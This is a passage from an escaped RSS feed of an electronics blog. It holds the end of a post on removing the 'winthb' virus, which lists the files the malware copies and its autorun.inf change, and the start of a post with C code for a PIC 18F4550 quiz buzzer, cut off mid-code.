initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\win.exe to c:\windows\system32\win.dll\win.exe&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\avgs.exe to c:\windows\system32\win.dll\avgs.exe&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\drivelist.txt to c:\windows\system32\win.dll\drivelist.txt&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\win.mp3 to c:\windows\system32\win.dll\win.mp3&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\Icon.ico to c:\windows\system32\win.dll\Icon.ico&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\windows\system32\win.dll\thb.ico&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\DLL.ico to c:\windows\system32\win.dll\DLL.ico&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Deletes c:\autorun.inf&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\thb.ico&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-size: 0.9em; line-height: 1.8em; padding-left: 20px; background-image: url(http://www.prevx.com/images2/fileinfoicon_fileactivity.gif); background-repeat: no-repeat; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: initial; background-position: 0% 50%; "&gt;Copies filec:\docume~1\user\locals~1\temp\winthb\autorun.inf to c:\autorun.inf&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After all these things i found a copy of the thb files in my D:\RECYCLE it looked like RECYCLER but there was no R at the end.Clear that aslo.Also idont know whether the script has any other effects.If any feel free to comment.Thanks&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-6432447706502738263?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YTk62JkPOcDm4-7a-H_MfgCD-j8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YTk62JkPOcDm4-7a-H_MfgCD-j8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YTk62JkPOcDm4-7a-H_MfgCD-j8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YTk62JkPOcDm4-7a-H_MfgCD-j8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/xbr2Si-IXtc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/xbr2Si-IXtc/how-to-remove-winthbwinexeavgsexevirus.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_XTElFWnvKxw/SX2Qkr--aII/AAAAAAAAAZQ/fTms20F20Io/s72-c/logo.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">8</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/01/how-to-remove-winthbwinexeavgsexevirus.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-7499510684481840777</guid><pubDate>Mon, 12 Jan 2009 12:40:00 +0000</pubDate><atom:updated>2009-05-07T09:51:50.255-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">buzzer</category><title>Simple College /School Quizzing Buzzer Circuit using PIC 18f4550 with 7 Segment Display</title><description>&lt;div style="text-align: justify;"&gt;&lt;span style=";font-family:times new roman;font-size:small;" class="Apple-style-span"  &gt;A buzzer finds application in quizzing, where the quiz master must know exactly who presses the first button to answer the question.Instead of glowing the bulb corresponding to the person who presses the button first, we can show the number corresponding to the person in a 7 segment display.This is desirable since its simple and less power consuming than lighting a bulb.We can simply program the PIC 18f4550 using USB cable connected to the system. No need for any programmer arrangement if we have already programmed the boot loader into the device. We need the PICDEM FS USB tool available in Microchip's site.This tool helps us to program the device using USB cable. Another tool called C-18 needs to to installed on the system along with the mplab ide to develop the software for the project .&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SWs9FdpMBFI/AAAAAAAAAY4/WmYUoKzSY8M/s1600-h/picdem.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 279px;" src="http://3.bp.blogspot.com/_XTElFWnvKxw/SWs9FdpMBFI/AAAAAAAAAY4/WmYUoKzSY8M/s320/picdem.JPG" alt="" id="BLOGGER_PHOTO_ID_5290389351342802002" border="0" /&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);font-size:100%;" &gt;&lt;p18cxxx.h&gt;#include "p18cxxx.h"&lt;/p18cxxx.h&gt;&lt;/span&gt;&lt;/a&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;#include "usart.h"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;extern void _startup (void);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;// See c018i.c in your C18 compiler directory&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;#pragma code _RESET_INTERRUPT_VECTOR = 0x000800&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;void _reset (void)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;_asm goto _startup _endasm&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;#pragma code&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;#define byte unsigned char&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;void delay (void);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;void display(byte);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;void main(void)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;byte c=0;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;TRISD = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;TRISB = 255;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;while(1)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;c= ~PORTB;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;switch (c)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 1:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(0);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 2:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(1);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 4:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(2);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 8:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(3);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 16:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(4);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 32:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(5);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 64:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(6);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 128:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(7);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;default:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;display(10);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;delay();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;if(c)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;while(1);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;//the while loop resets to start of main if reset is done pin 1 gnded (hardware reset)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;void delay(void)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;long int count = 200000;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;while (count--)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;void display(byte a)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;switch(a)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;{// these may or maynot work on all 7 segments to determine which segment is which we need to write test programs &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 0: PORTD = 0b01000000;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: 